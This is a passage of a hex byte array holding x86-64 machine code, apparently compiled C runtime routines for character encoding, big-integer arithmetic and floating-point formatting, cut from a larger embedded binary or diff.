0xeb, - 0x1b, 0x49, 0x8b, 0xfd, 0x66, 0x44, 0x89, 0x2b, 0xeb, 0xe9, 0x49, 0x89, - 0x3e, 0xe8, 0x42, 0xb7, 0xff, 0xff, 0xc7, 0x00, 0x2a, 0x00, 0x00, 0x00, - 0x48, 0x83, 0xc8, 0xff, 0x48, 0x8b, 0x5c, 0x24, 0x58, 0x48, 0x8b, 0x6c, - 0x24, 0x60, 0x48, 0x83, 0xc4, 0x20, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, - 0x41, 0x5c, 0x5f, 0xc3, 0x49, 0x8b, 0xdd, 0x44, 0x38, 0x2f, 0x75, 0x08, - 0x41, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xeb, 0x1d, 0x44, 0x38, 0x6f, 0x01, - 0x75, 0x08, 0x41, 0xb8, 0x02, 0x00, 0x00, 0x00, 0xeb, 0x0f, 0x8a, 0x47, - 0x02, 0xf6, 0xd8, 0x4d, 0x1b, 0xc0, 0x49, 0xf7, 0xd8, 0x49, 0x83, 0xc0, - 0x03, 0x4d, 0x8b, 0xcc, 0x48, 0x8b, 0xd7, 0x33, 0xc9, 0xe8, 0x4a, 0x3e, - 0x00, 0x00, 0x48, 0x83, 0xf8, 0xff, 0x74, 0x99, 0x48, 0x85, 0xc0, 0x74, - 0x83, 0x48, 0x83, 0xf8, 0x04, 0x75, 0x03, 0x48, 0xff, 0xc3, 0x48, 0x03, - 0xf8, 0x48, 0xff, 0xc3, 0xeb, 0xad, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, - 0x48, 0x85, 0xc9, 0x75, 0x0e, 0x49, 0x83, 0x20, 0x00, 0xb8, 0x01, 0x00, - 0x00, 0x00, 0xe9, 0x97, 0x00, 0x00, 0x00, 0x85, 0xd2, 0x75, 0x04, 0x88, - 0x11, 0xeb, 0xea, 0xf7, 0xc2, 0x80, 0xff, 0xff, 0xff, 0x75, 0x04, 0x88, - 0x11, 0xeb, 0xe2, 0xf7, 0xc2, 0x00, 0xf8, 0xff, 0xff, 0x75, 0x0b, 0x41, - 0xb9, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb2, 0xc0, 0xeb, 0x39, 0xf7, 0xc2, - 0x00, 0x00, 0xff, 0xff, 0x75, 0x18, 0x8d, 0x82, 0x00, 0x28, 0xff, 0xff, - 0x3d, 0xff, 0x07, 0x00, 0x00, 0x76, 0x48, 0x41, 0xb9, 0x02, 0x00, 0x00, - 0x00, 0x41, 0xb2, 0xe0, 0xeb, 0x19, 0xf7, 0xc2, 0x00, 0x00, 0xe0, 0xff, - 0x75, 0x35, 0x81, 0xfa, 0xff, 0xff, 0x10, 0x00, 0x77, 0x2d, 0x41, 0xb9, - 0x03, 0x00, 0x00, 0x00, 0x41, 0xb2, 0xf0, 0x4d, 0x8b, 0xd9, 0x8a, 0xc2, - 0xc1, 0xea, 0x06, 0x24, 0x3f, 0x0c, 0x80, 0x41, 0x88, 0x04, 0x0b, 0x49, - 0x83, 0xeb, 0x01, 0x75, 0xed, 0x41, 0x0a, 0xd2, 0x49, 0x8d, 0x41, 0x01, - 0x88, 0x11, 0x4d, 0x21, 0x18, 0xeb, 0x13, 0x49, 0x83, 0x20, 0x00, 0xe8, - 0x24, 0xb6, 0xff, 0xff, 0xc7, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x48, 0x83, - 0xc8, 0xff, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0x48, 0x89, 0x5c, 0x24, - 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, - 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, 0x20, 0x4d, 0x8b, 0xf1, 0x4c, - 0x8b, 0xf9, 0x48, 0x85, 0xc9, 0x75, 0x18, 0xe8, 0xec, 0xb5, 0xff, 0xff, - 0xbb, 0x16, 0x00, 0x00, 0x00, 0x89, 0x18, 0xe8, 0xc0, 0xb4, 0xff, 0xff, - 0x8b, 0xc3, 0xe9, 0x07, 0x01, 0x00, 0x00, 0x48, 0x85, 0xd2, 0x74, 0xe3, - 0x33, 0xc0, 0xc6, 0x01, 0x00, 0x45, 0x85, 0xc0, 0x41, 0x0f, 0x4f, 0xc0, - 0xff, 0xc0, 0x48, 0x98, 0x48, 0x3b, 0xd0, 0x77, 0x0c, 0xe8, 0xba, 0xb5, - 0xff, 0xff, 0xbb, 0x22, 0x00, 0x00, 0x00, 0xeb, 0xcc, 0x4d, 0x85, 0xf6, - 0x74, 0xbd, 0x49, 0x8b, 0x79, 0x08, 0x48, 0x8d, 0x59, 0x01, 0xc6, 0x01, - 0x30, 0xeb, 0x15, 0x8a, 0x07, 0x84, 0xc0, 0x74, 0x05, 0x48, 0xff, 0xc7, - 0xeb, 0x02, 0xb0, 0x30, 0x88, 0x03, 0x48, 0xff, 0xc3, 0x41, 0xff, 0xc8, - 0x45, 0x85, 0xc0, 0x7f, 0xe6, 0xc6, 0x03, 0x00, 0x0f, 0x88, 0x80, 0x00, - 0x00, 0x00, 0x83, 0x7c, 0x24, 0x68, 0x00, 0x41, 0x8b, 0x31, 0x75, 0x08, - 0x80, 0x3f, 0x35, 0x0f, 0x9d, 0xc0, 0xeb, 0x58, 0xe8, 0xb3, 0x17, 0x00, - 0x00, 0x85, 0xc0, 0x75, 0x29, 0x80, 0x3f, 0x35, 0x7f, 0x53, 0x7c, 0x5e, - 0x83, 0x7c, 0x24, 0x60, 0x00, 0x48, 0x8d, 0x47, 0x01, 0x74, 0x46, 0xeb, - 0x03, 0x48, 0xff, 0xc0, 0x8a, 0x08, 0x80, 0xf9, 0x30, 0x74, 0xf6, 0x84, - 0xc9, 0x75, 0x36, 0x8a, 0x47, 0xff, 0x24, 0x01, 0xeb, 0x26, 0x3d, 0x00, - 0x02, 0x00, 0x00, 0x75, 0x0a, 0x80, 0x3f, 0x30, 0x74, 0x30, 0x83, 0xfe, - 0x2d, 0xeb, 0x17, 0x3d, 0x00, 0x01, 0x00, 0x00, 0x75, 0x0c, 0x80, 0x3f, - 0x30, 0x74, 0x1f, 0x83, 0xfe, 0x2d, 0x75, 0x1a, 0xeb, 0x0b, 0x32, 0xc0, - 0x84, 0xc0, 0x74, 0x12, 0xeb, 0x03, 0xc6, 0x03, 0x30, 0x48, 0xff, 0xcb, - 0x8a, 0x03, 0x3c, 0x39, 0x74, 0xf4, 0xfe, 0xc0, 0x88, 0x03, 0x41, 0x80, - 0x3f, 0x31, 0x75, 0x06, 0x41, 0xff, 0x46, 0x04, 0xeb, 0x1e, 0x49, 0x83, - 0xc8, 0xff, 0x49, 0xff, 0xc0, 0x43, 0x80, 0x7c, 0x38, 0x01, 0x00, 0x75, - 0xf5, 0x49, 0xff, 0xc0, 0x49, 0x8d, 0x57, 0x01, 0x49, 0x8b, 0xcf, 0xe8, - 0x38, 0x76, 0xff, 0xff, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x40, 0x48, - 0x8b, 0x6c, 0x24, 0x48, 0x48, 0x8b, 0x74, 0x24, 0x50, 0x48, 0x83, 0xc4, - 0x20, 0x41, 0x5f, 0x41, 0x5e, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, - 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x54, 0x24, - 0x10, 0x53, 0x55, 0x56, 0x57, 0x41, 0x54, 0x41, 0x56, 0x41, 0x57, 0x48, - 0x81, 0xec, 0x20, 0x02, 0x00, 0x00, 0x44, 0x8b, 0x11, 0x4c, 0x8b, 0xf2, - 0x48, 0x8b, 0xf1, 0x45, 0x85, 0xd2, 0x0f, 0x84, 0xed, 0x03, 0x00, 0x00, - 0x8b, 0x3a, 0x85, 0xff, 0x0f, 0x84, 0xe3, 0x03, 0x00, 0x00, 0x41, 0xff, - 0xca, 0x8d, 0x47, 0xff, 0x85, 0xc0, 0x0f, 0x85, 0xe2, 0x00, 0x00, 0x00, - 0x44, 0x8b, 0x62, 0x04, 0x33, 0xed, 0x41, 0x83, 0xfc, 0x01, 0x75, 0x26, - 0x8b, 0x59, 0x04, 0x4c, 0x8d, 0x44, 0x24, 0x44, 0x48, 0x83, 0xc1, 0x04, - 0x89, 0x2e, 0x45, 0x33, 0xc9, 0x89, 0x6c, 0x24, 0x40, 0xba, 0xcc, 0x01, - 0x00, 0x00, 0xe8, 0x05, 0x16, 0x00, 0x00, 0x8b, 0xc3, 0xe9, 0xa5, 0x03, - 0x00, 0x00, 0x45, 0x85, 0xd2, 0x75, 0x36, 0x8b, 0x59, 0x04, 0x4c, 0x8d, - 0x44, 0x24, 0x44, 0x89, 0x29, 0x45, 0x33, 0xc9, 0x48, 0x83, 0xc1, 0x04, - 0x89, 0x6c, 0x24, 0x40, 0xba, 0xcc, 0x01, 0x00, 0x00, 0xe8, 0xda, 0x15, - 0x00, 0x00, 0x33, 0xd2, 0x8b, 0xc3, 0x41, 0xf7, 0xf4, 0x85, 0xd2, 0x89, - 0x56, 0x04, 0x40, 0x0f, 0x95, 0xc5, 0x89, 0x2e, 0xe9, 0x6a, 0x03, 0x00, - 0x00, 0x41, 0xbf, 0xff, 0xff, 0xff, 0xff, 0x48, 0x8b, 0xfd, 0x4c, 0x8b, - 0xf5, 0x45, 0x3b, 0xd7, 0x74, 0x28, 0x49, 0x8b, 0xcc, 0x42, 0x8b, 0x44, - 0x96, 0x04, 0x33, 0xd2, 0x49, 0xc1, 0xe6, 0x20, 0x45, 0x03, 0xd7, 0x49, - 0x0b, 0xc6, 0x48, 0xc1, 0xe7, 0x20, 0x48, 0xf7, 0xf1, 0x8b, 0xc0, 0x4c, - 0x8b, 0xf2, 0x48, 0x03, 0xf8, 0x45, 0x3b, 0xd7, 0x75, 0xdb, 0x45, 0x33, - 0xc9, 0x89, 0x6c, 0x24, 0x40, 0x4c, 0x8d, 0x44, 0x24, 0x44, 0x89, 0x2e, - 0xba, 0xcc, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x4e, 0x04, 0xe8, 0x6e, 0x15, - 0x00, 0x00, 0x49, 0x8b, 0xce, 0x44, 0x89, 0x76, 0x04, 0x48, 0xc1, 0xe9, - 0x20, 0x48, 0x8b, 0xc7, 0x85, 0xc9, 0x89, 0x4e, 0x08, 0x40, 0x0f, 0x95, - 0xc5, 0xff, 0xc5, 0x89, 0x2e, 0xe9, 0xf5, 0x02, 0x00, 0x00, 0x41, 0x3b, - 0xc2, 0x0f, 0x87, 0xea, 0x02, 0x00, 0x00, 0x45, 0x8b, 0xc2, 0x49, 0x63, - 0xd2, 0x44, 0x2b, 0xc0, 0x45, 0x8b, 0xca, 0x49, 0x63, 0xd8, 0x48, 0x3b, - 0xd3, 0x7c, 0x49, 0x48, 0x83, 0xc1, 0x04, 0x48, 0x8d, 0x04, 0x9d, 0x00, - 0x00, 0x00, 0x00, 0x4d, 0x8b, 0xde, 0x4c, 0x2b, 0xd8, 0x4c, 0x2b, 0xde, - 0x48, 0x8d, 0x0c, 0x91, 0x8b, 0x01, 0x41, 0x39, 0x04, 0x0b, 0x75, 0x11, - 0x41, 0xff, 0xc9, 0x48, 0xff, 0xca, 0x48, 0x83, 0xe9, 0x04, 0x48, 0x3b, - 0xd3, 0x7d, 0xe9, 0xeb, 0x17, 0x41, 0x8b, 0xc1, 0x41, 0x2b, 0xc0, 0x48, - 0x63, 0xd0, 0x49, 0x63, 0xc1, 0x8b, 0x4c, 0x86, 0x04, 0x41, 0x39, 0x4c, - 0x96, 0x04, 0x73, 0x03, 0x41, 0xff, 0xc0, 0x45, 0x85, 0xc0, 0x0f, 0x84, - 0x81, 0x02, 0x00, 0x00, 0x8d, 0x47, 0xff, 0xbb, 0x20, 0x00, 0x00, 0x00, - 0x45, 0x8b, 0x4c, 0x86, 0x04, 0x8d, 0x47, 0xfe, 0x41, 0x8b, 0x6c, 0x86, - 0x04, 0x41, 0x0f, 0xbd, 0xc1, 0x89, 0xac, 0x24, 0x60, 0x02, 0x00, 0x00, - 0x74, 0x0b, 0x41, 0xbb, 0x1f, 0x00, 0x00, 0x00, 0x44, 0x2b, 0xd8, 0xeb, - 0x03, 0x44, 0x8b, 0xdb, 0x41, 0x2b, 0xdb, 0x44, 0x89, 0x9c, 0x24, 0x70, - 0x02, 0x00, 0x00, 0x89, 0x5c, 0x24, 0x20, 0x45, 0x85, 0xdb, 0x74, 0x37, - 0x41, 0x8b, 0xc1, 0x8b, 0xd5, 0x8b, 0xcb, 0xd3, 0xea, 0x41, 0x8b, 0xcb, - 0xd3, 0xe0, 0x44, 0x8b, 0xca, 0xd3, 0xe5, 0x44, 0x0b, 0xc8, 0x89, 0xac, - 0x24, 0x60, 0x02, 0x00, 0x00, 0x83, 0xff, 0x02, 0x76, 0x15, 0x8d, 0x47, - 0xfd, 0x8b, 0xcb, 0x41, 0x8b, 0x44, 0x86, 0x04, 0xd3, 0xe8, 0x0b, 0xe8, - 0x89, 0xac, 0x24, 0x60, 0x02, 0x00, 0x00, 0x33, 0xed, 0x45, 0x8d, 0x70, - 0xff, 0x44, 0x8b, 0xe5, 0x45, 0x85, 0xf6, 0x0f, 0x88, 0xbf, 0x01, 0x00, - 0x00, 0x8b, 0xc3, 0x41, 0xbf, 0xff, 0xff, 0xff, 0xff, 0x41, 0x8b, 0xd9, - 0x4c, 0x89, 0xac, 0x24, 0x18, 0x02, 0x00, 0x00, 0x45, 0x8d, 0x2c, 0x3e, - 0x48, 0x89, 0x5c, 0x24, 0x38, 0x48, 0x89, 0x44, 0x24, 0x30, 0x45, 0x3b, - 0xea, 0x77, 0x07, 0x42, 0x8b, 0x54, 0xae, 0x04, 0xeb, 0x02, 0x8b, 0xd5, - 0x41, 0x8d, 0x45, 0xff, 0x89, 0x94, 0x24, 0x78, 0x02, 0x00, 0x00, 0x8b, - 0x4c, 0x86, 0x04, 0x41, 0x8d, 0x45, 0xfe, 0x44, 0x8b, 0x5c, 0x86, 0x04, - 0x48, 0x89, 0x4c, 0x24, 0x28, 0x89, 0x54, 0x24, 0x2c, 0x8b, 0x94, 0x24, - 0x70, 0x02, 0x00, 0x00, 0x85, 0xd2, 0x74, 0x34, 0x48, 0x8b, 0x4c, 0x24, - 0x30, 0x45, 0x8b, 0xc3, 0x48, 0x8b, 0x44, 0x24, 0x28, 0x49, 0xd3, 0xe8, - 0x8b, 0xca, 0x48, 0xd3, 0xe0, 0x4c, 0x0b, 0xc0, 0x41, 0xd3, 0xe3, 0x41, - 0x83, 0xfd, 0x03, 0x72, 0x18, 0x8b, 0x4c, 0x24, 0x20, 0x41, 0x8d, 0x45, - 0xfd, 0x8b, 0x44, 0x86, 0x04, 0xd3, 0xe8, 0x44, 0x0b, 0xd8, 0xeb, 0x05, - 0x4c, 0x8b, 0x44, 0x24, 0x28, 0x33, 0xd2, 0x49, 0x8b, 0xc0, 0x48, 0xf7, - 0xf3, 0x44, 0x8b, 0xc2, 0x4c, 0x8b, 0xc8, 0x49, 0x3b, 0xc7, 0x76, 0x17, - 0x48, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x49, 0x03, - 0xc1, 0x4d, 0x8b, 0xcf, 0x48, 0x0f, 0xaf, 0xc3, 0x4c, 0x03, 0xc0, 0x4d, - 0x3b, 0xc7, 0x77, 0x2a, 0x8b, 0x94, 0x24, 0x60, 0x02, 0x00, 0x00, 0x8b, - 0xc2, 0x49, 0x0f, 0xaf, 0xc1, 0x49, 0x8b, 0xc8, 0x48, 0xc1, 0xe1, 0x20, - 0x49, 0x0b, 0xcb, 0x48, 0x3b, 0xc1, 0x76, 0x0e, 0x49, 0xff, 0xc9, 0x48, - 0x2b, 0xc2, 0x4c, 0x03, 0xc3, 0x4d, 0x3b, 0xc7, 0x76, 0xe3, 0x4d, 0x85, - 0xc9, 0x0f, 0x84, 0xaa, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xd5, 0x44, 0x8b, - 0xdd, 0x85, 0xff, 0x74, 0x4e, 0x48, 0x8b, 0x9c, 0x24, 0x68, 0x02, 0x00, - 0x00, 0x48, 0x83, 0xc3, 0x04, 0x0f, 0x1f, 0x00, 0x8b, 0x03, 0x48, 0x8d, - 0x5b, 0x04, 0x49, 0x0f, 0xaf, 0xc1, 0x4c, 0x03, 0xd0, 0x43, 0x8d, 0x04, - 0x33, 0x45, 0x8b, 0xc2, 0x8b, 0xc8, 0x49, 0xc1, 0xea, 0x20, 0x8b, 0x44, - 0x86, 0x04, 0x49, 0x8b, 0xd2, 0x49, 0xff, 0xc2, 0x41, 0x3b, 0xc0, 0x4c, - 0x0f, 0x43, 0xd2, 0x41, 0x2b, 0xc0, 0x41, 0xff, 0xc3, 0x89, 0x44, 0x8e, - 0x04, 0x44, 0x3b, 0xdf, 0x72, 0xc6, 0x48, 0x8b, 0x5c, 0x24, 0x38, 0x8b, - 0x84, 0x24, 0x78, 0x02, 0x00, 0x00, 0x49, 0x3b, 0xc2, 0x73, 0x42, 0x44, - 0x8b, 0xd5, 0x85, 0xff, 0x74, 0x38, 0x4c, 0x8b, 0x9c, 0x24, 0x68, 0x02, - 0x00, 0x00, 0x4c, 0x8b, 0xc5, 0x49, 0x83, 0xc3, 0x04, 0x43, 0x8d, 0x04, - 0x32, 0x41, 0xff, 0xc2, 0x8b, 0x4c, 0x86, 0x04, 0x48, 0x8d, 0x14, 0x86, - 0x41, 0x8b, 0x03, 0x4d, 0x8d, 0x5b, 0x04, 0x4c, 0x03, 0xc0, 0x4c, 0x03, - 0xc1, 0x44, 0x89, 0x42, 0x04, 0x49, 0xc1, 0xe8, 0x20, 0x44, 0x3b, 0xd7, - 0x72, 0xd7, 0x49, 0xff, 0xc9, 0x45, 0x8d, 0x55, 0xff, 0x49, 0xc1, 0xe4, - 0x20, 0x41, 0xff, 0xcd, 0x41, 0x8b, 0xc1, 0x4c, 0x03, 0xe0, 0x41, 0x83, - 0xee, 0x01, 0x0f, 0x89, 0x6a, 0xfe, 0xff, 0xff, 0x4c, 0x8b, 0xac, 0x24, - 0x18, 0x02, 0x00, 0x00, 0x41, 0x8d, 0x52, 0x01, 0x8b, 0xca, 0x3b, 0x16, - 0x73, 0x12, 0x66, 0x0f, 0x1f, 0x44, 0x00, 0x00, 0x8b, 0xc1, 0xff, 0xc1, - 0x89, 0x6c, 0x86, 0x04, 0x3b, 0x0e, 0x72, 0xf4, 0x89, 0x16, 0x85, 0xd2, - 0x74, 0x0e, 0xff, 0xca, 0x39, 0x6c, 0x96, 0x04, 0x75, 0x06, 0x89, 0x16, - 0x85, 0xd2, 0x75, 0xf2, 0x49, 0x8b, 0xc4, 0xeb, 0x02, 0x33, 0xc0, 0x48, - 0x81, 0xc4, 0x20, 0x02, 0x00, 0x00, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5c, - 0x5f, 0x5e, 0x5d, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, 0x40, 0x55, 0x53, 0x56, - 0x57, 0x41, 0x54, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8d, 0xac, 0x24, 0x10, - 0xf9, 0xff, 0xff, 0x48, 0x81, 0xec, 0xf0, 0x07, 0x00, 0x00, 0x48, 0x8b, - 0x05, 0xbb, 0x12, 0x01, 0x00, 0x48, 0x33, 0xc4, 0x48, 0x89, 0x85, 0xe0, - 0x06, 0x00, 0x00, 0x48, 0x89, 0x4c, 0x24, 0x38, 0x4d, 0x8b, 0xf1, 0x48, - 0x8d, 0x4c, 0x24, 0x68, 0x4c, 0x89, 0x4d, 0x80, 0x4d, 0x8b, 0xe0, 0x4c, - 0x89, 0x45, 0x90, 0x8b, 0xf2, 0xe8, 0xd6, 0x39, 0x00, 0x00, 0x8b, 0x44, - 0x24, 0x68, 0x41, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x83, 0xe0, 0x1f, 0x3c, - 0x1f, 0x75, 0x07, 0xc6, 0x44, 0x24, 0x70, 0x00, 0xeb, 0x0f, 0x48, 0x8d, - 0x4c, 0x24, 0x68, 0xe8, 0x20, 0x3a, 0x00, 0x00, 0x44, 0x88, 0x7c, 0x24, - 0x70, 0x48, 0x8b, 0x5c, 0x24, 0x38, 0xbf, 0x20, 0x00, 0x00, 0x00, 0x8b, - 0xc7, 0x4d, 0x89, 0x74, 0x24, 0x08, 0x48, 0x85, 0xdb, 0x8d, 0x4f, 0x0d, - 0x0f, 0x48, 0xc1, 0x45, 0x33, 0xc0, 0x33, 0xd2, 0x41, 0x89, 0x04, 0x24, - 0x48, 0x8d, 0x4c, 0x24, 0x78, 0xe8, 0x1e, 0x39, 0x00, 0x00, 0x48, 0x8b, - 0xc3, 0x41, 0xba, 0xff, 0x07, 0x00, 0x00, 0x48, 0xc1, 0xe8, 0x34, 0x49, - 0xb9, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x0f, 0x00, 0x49, 0x23, 0xc2, - 0x75, 0x38, 0x49, 0x85, 0xd9, 0x74, 0x0a, 0xf7, 0x44, 0x24, 0x78, 0x00, - 0x00, 0x00, 0x01, 0x74, 0x29, 0x41, 0x83, 0x64, 0x24, 0x04, 0x00, 0x4c, - 0x8d, 0x05, 0x9a, 0x99, 0x00, 0x00, 0x48, 0x8b, 0x95, 0x50, 0x07, 0x00, - 0x00, 0x49, 0x8b, 0xce, 0xe8, 0x7f, 0xa4, 0xff, 0xff, 0x85, 0xc0, 0x0f, - 0x85, 0x41, 0x11, 0x00, 0x00, 0xe9, 0x07, 0x11, 0x00, 0x00, 0x49, 0x3b, - 0xc2, 0x74, 0x04, 0x33, 0xc0, 0xeb, 0x3c, 0x48, 0x8b, 0xc3, 0x49, 0x23, - 0xc1, 0x75, 0x05, 0x41, 0x8b, 0xc7, 0xeb, 0x2a, 0x48, 0x85, 0xdb, 0x79, - 0x16, 0x48, 0xb9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x48, - 0x3b, 0xc1, 0x75, 0x07, 0xb8, 0x04, 0x00, 0x00, 0x00, 0xeb, 0x0f, 0x48, - 0x8b, 0xc3, 0x48, 0xc1, 0xe8, 0x33, 0xf7, 0xd0, 0x41, 0x23, 0xc7, 0x83, - 0xc8, 0x02, 0x45, 0x89, 0x7c, 0x24, 0x04, 0x41, 0x2b, 0xc7, 0x0f, 0x84, - 0x9c, 0x10, 0x00, 0x00, 0x41, 0x2b, 0xc7, 0x0f, 0x84, 0x87, 0x10, 0x00, - 0x00, 0x41, 0x2b, 0xc7, 0x0f, 0x84, 0x72, 0x10, 0x00, 0x00, 0x41, 0x3b, - 0xc7, 0x0f, 0x84, 0x5d, 0x10, 0x00, 0x00, 0x48, 0xb8, 0xff, 0xff, 0xff, - 0xff, 0xff, 0xff, 0xff, 0x7f, 0x44, 0x88, 0x7c, 0x24, 0x30, 0x48, 0x23, - 0xd8, 0xff, 0xc6, 0x48, 0x89, 0x5c, 0x24, 0x38, 0xf2, 0x0f, 0x10, 0x44, - 0x24, 0x38, 0xf2, 0x0f, 0x11, 0x44, 0x24, 0x58, 0x48, 0x8b, 0x54, 0x24, - 0x58, 0x4c, 0x8b, 0xc2, 0x89, 0x74, 0x24, 0x60, 0x49, 0xc1, 0xe8, 0x34, - 0xbe, 0x02, 0x00, 0x00, 0x00, 0x49, 0x8b, 0xc8, 0x49, 0x23, 0xca, 0x48, - 0x8b, 0xc1, 0x48, 0xf7, 0xd8, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x10, 0x00, 0x48, 0x1b, 0xdb, 0x49, 0x23, 0xd1, 0x48, 0x23, 0xd8, - 0x48, 0x03, 0xda, 0x48, 0xf7, 0xd9, 0x1b, 0xc0, 0x45, 0x23, 0xc2, 0x44, - 0x8d, 0x24, 0x06, 0x45, 0x03, 0xe0, 0xe8, 0xd9, 0x39, 0x00, 0x00, 0xe8, - 0x0c, 0x39, 0x00, 0x00, 0xf2, 0x0f, 0x2c, 0xc8, 0x89, 0x5d, 0xa4, 0x8d, - 0x81, 0x01, 0x00, 0x00, 0x80, 0x83, 0xe0, 0xfe, 0xf7, 0xd8, 0x1b, 0xc0, - 0x48, 0xc1, 0xeb, 0x20, 0x23, 0xc1, 0x89, 0x5d, 0xa8, 0x89, 0x44, 0x24, - 0x40, 0x8b, 0xc3, 0xf7, 0xd8, 0x1b, 0xd2, 0xf7, 0xda, 0x41, 0x03, 0xd7, - 0x89, 0x55, 0xa0, 0x41, 0x81, 0xfc, 0x34, 0x04, 0x00, 0x00, 0x0f, 0x82, - 0x1a, 0x02, 0x00, 0x00, 0x33, 0xc0, 0xc7, 0x85, 0x48, 0x03, 0x00, 0x00, - 0x00, 0x00, 0x10, 0x00, 0x89, 0x85, 0x44, 0x03, 0x00, 0x00, 0x89, 0xb5, - 0x40, 0x03, 0x00, 0x00, 0x85, 0xdb, 0x0f, 0x84, 0x0c, 0x01, 0x00, 0x00, - 0x45, 0x33, 0xc0, 0x42, 0x8b, 0x44, 0x85, 0xa4, 0x42, 0x39, 0x84, 0x85, - 0x44, 0x03, 0x00, 0x00, 0x0f, 0x85, 0xf6, 0x00, 0x00, 0x00, 0x45, 0x03, - 0xc7, 0x44, 0x3b, 0xc6, 0x75, 0xe5, 0x83, 0x64, 0x24, 0x38, 0x00, 0x45, - 0x8d, 0x9c, 0x24, 0xce, 0xfb, 0xff, 0xff, 0x45, 0x8b, 0xc3, 0x8d, 0x42, - 0xff, 0x41, 0x83, 0xe3, 0x1f, 0x41, 0xc1, 0xe8, 0x05, 0x8b, 0xf7, 0x49, - 0x8b, 0xdf, 0x41, 0x2b, 0xf3, 0x8b, 0xce, 0x48, 0xd3, 0xe3, 0x41, 0x2b, - 0xdf, 0x0f, 0xbd, 0x44, 0x85, 0xa4, 0x44, 0x8b, 0xe3, 0x41, 0xf7, 0xd4, - 0x74, 0x04, 0xff, 0xc0, 0xeb, 0x02, 0x33, 0xc0, 0x2b, 0xf8, 0x42, 0x8d, - 0x04, 0x02, 0x83, 0xf8, 0x73, 0x0f, 0x87, 0x81, 0x00, 0x00, 0x00, 0x45, - 0x33, 0xf6, 0x44, 0x3b, 0xdf, 0x41, 0x0f, 0x97, 0xc6, 0x44, 0x03, 0xf2, - 0x45, 0x03, 0xf0, 0x41, 0x83, 0xfe, 0x73, 0x77, 0x6b, 0x41, 0x8d, 0x78, - 0xff, 0x45, 0x8d, 0x56, 0xff, 0x44, 0x3b, 0xd7, 0x74, 0x48, 0x41, 0x8b, - 0xc2, 0x41, 0x2b, 0xc0, 0x8d, 0x48, 0xff, 0x3b, 0xc2, 0x73, 0x07, 0x44, - 0x8b, 0x4c, 0x85, 0xa4, 0xeb, 0x03, 0x45, 0x33, 0xc9, 0x3b, 0xca, 0x73, - 0x06, 0x8b, 0x54, 0x8d, 0xa4, 0xeb, 0x02, 0x33, 0xd2, 0x41, 0x23, 0xd4, - 0x8b, 0xce, 0xd3, 0xea, 0x44, 0x23, 0xcb, 0x41, 0x8b, 0xcb, 0x41, 0xd3, - 0xe1, 0x41, 0x0b, 0xd1, 0x42, 0x89, 0x54, 0x95, 0xa4, 0x41, 0xff, 0xca, - 0x44, 0x3b, 0xd7, 0x74, 0x05, 0x8b, 0x55, 0xa0, 0xeb, 0xb8, 0x33, 0xc9, - 0x45, 0x85, 0xc0, 0x74, 0x12, 0x83, 0x64, 0x8d, 0xa4, 0x00, 0x41, 0x03, - 0xcf, 0x41, 0x3b, 0xc8, 0x75, 0xf3, 0xeb, 0x03, 0x45, 0x33, 0xf6, 0x44, - 0x89, 0x75, 0xa0, 0x45, 0x8b, 0xe7, 0x44, 0x89, 0xbd, 0x70, 0x01, 0x00, - 0x00, 0xc7, 0x85, 0x74, 0x01, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xe9, - 0x19, 0x03, 0x00, 0x00, 0x83, 0x64, 0x24, 0x38, 0x00, 0x45, 0x8d, 0x9c, - 0x24, 0xcd, 0xfb, 0xff, 0xff, 0x45, 0x8b, 0xc3, 0x8d, 0x42, 0xff, 0x41, - 0x83, 0xe3, 0x1f, 0x41, 0xc1, 0xe8, 0x05, 0x8b, 0xf7, 0x49, 0x8b, 0xdf, - 0x41, 0x2b, 0xf3, 0x8b, 0xce, 0x48, 0xd3, 0xe3, 0x41, 0x2b, 0xdf, 0x0f, - 0xbd, 0x44, 0x85, 0xa4, 0x44, 0x8b, 0xe3, 0x41, 0xf7, 0xd4, 0x74, 0x04, - 0xff, 0xc0, 0xeb, 0x02, 0x33, 0xc0, 0x2b, 0xf8, 0x42, 0x8d, 0x04, 0x02, - 0x83, 0xf8, 0x73, 0x0f, 0x87, 0x81, 0x00, 0x00, 0x00, 0x45, 0x33, 0xf6, - 0x44, 0x3b, 0xdf, 0x41, 0x0f, 0x97, 0xc6, 0x44, 0x03, 0xf2, 0x45, 0x03, - 0xf0, 0x41, 0x83, 0xfe, 0x73, 0x77, 0x6b, 0x41, 0x8d, 0x78, 0xff, 0x45, - 0x8d, 0x56, 0xff, 0x44, 0x3b, 0xd7, 0x74, 0x48, 0x41, 0x8b, 0xc2, 0x41, - 0x2b, 0xc0, 0x8d, 0x48, 0xff, 0x3b, 0xc2, 0x73, 0x07, 0x44, 0x8b, 0x4c, - 0x85, 0xa4, 0xeb, 0x03, 0x45, 0x33, 0xc9, 0x3b, 0xca, 0x73, 0x06, 0x8b, - 0x54, 0x8d, 0xa4, 0xeb, 0x02, 0x33, 0xd2, 0x41, 0x23, 0xd4, 0x8b, 0xce, - 0xd3, 0xea, 0x44, 0x23, 0xcb, 0x41, 0x8b, 0xcb, 0x41, 0xd3, 0xe1, 0x41, - 0x0b, 0xd1, 0x42, 